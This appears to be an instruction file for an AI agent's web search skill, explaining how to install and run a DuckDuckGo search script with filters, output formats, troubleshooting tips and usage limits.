Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run

pip install duckduckgo-search

Installation Best Practices:

• If you encounter permission errors, use a virtual environment instead of system-wide installation
• For virtual environment:

  python -m venv venv && source venv/bin/activate && pip install duckduckgo-search

• Never use

  --break-system-packages

  as it can damage your system's Python installation

Implementation Guidelines

When users request web searches, follow this approach:

1. Identify Intent

• What content type? (web, news, images, videos)
• How recent? (use

  --time-range

  for current info)
• How many results? (adjust

  --max-results

  )
• Any special filters? (size, color, duration, etc.)

2. Configure Search

python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]

3. Choose Format

• Text: Quick reading, immediate review
• Markdown: Documentation, formatted reports
• JSON: Further processing, automation

4. Execute and Process

# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches

Best Practices

Search Strategy

1. Start specific - Use clear, targeted queries
2. Use time filters - Apply

   --time-range

   for current topics
3. Adjust result count - Start with 10-20, increase if needed
4. Choose right type - News for current events, web for general info

Output Management

1. Save important searches - Use

   --output

   to preserve results
2. Use appropriate format - JSON for automation, markdown for docs
3. Organize files - Create folders for multi-search research

API Usage

1. Avoid rapid requests - Space out searches to prevent rate limiting
2. Be efficient - Use filters to get better results with fewer searches
3. Respect limits - Don't hammer the API unnecessarily

Troubleshooting

Installation Issues

"Missing required dependency"

# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search

Important: Never use

--break-system-packages

"OpenClawCLI not found"

• Download from https://clawhub.ai/
• Install for your OS (Windows/MacOS)
• Verify installation:

  openclaw --version

Search Issues

"No results found"

• Broaden search terms
• Remove time filters
• Try different query phrasing

"Timeout errors"

• DuckDuckGo service may be temporarily unavailable
• Wait a moment and retry
• Check internet connection

"Unexpected results"

• DuckDuckGo results differ from Google
• Refine query with more specific terms
• Try adding context to the query

Rate Limiting

"Too many requests"

• Space out searches (wait 1-2 seconds between requests)
• Reduce frequency if making automated searches
• Consider batching queries instead of individual requests

Advanced Usage

Combining Multiple Searches

Build comprehensive research by combining search types:

# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt

Programmatic Processing

Use JSON for automated workflows:

# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json

Building Knowledge Bases

Create searchable documentation:

mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md

Limitations

Search Capabilities

• Results depend on DuckDuckGo's index (may differ from Google)
• No advanced operators (no

  site:

  ,

  filetype:

  , etc.)
• Image/video results may be limited compared to web search
• No control over ranking algorithms

Content Access

• Cannot access paywalled content
• Some sites may block DuckDuckGo crawler
• Dynamic JavaScript content may not be indexed
• Real-time data may have slight delays

API Constraints

• Rate limiting applies to prevent abuse
• No guaranteed uptime or availability
• Results may vary by region and time
• Some queries may be filtered for safety
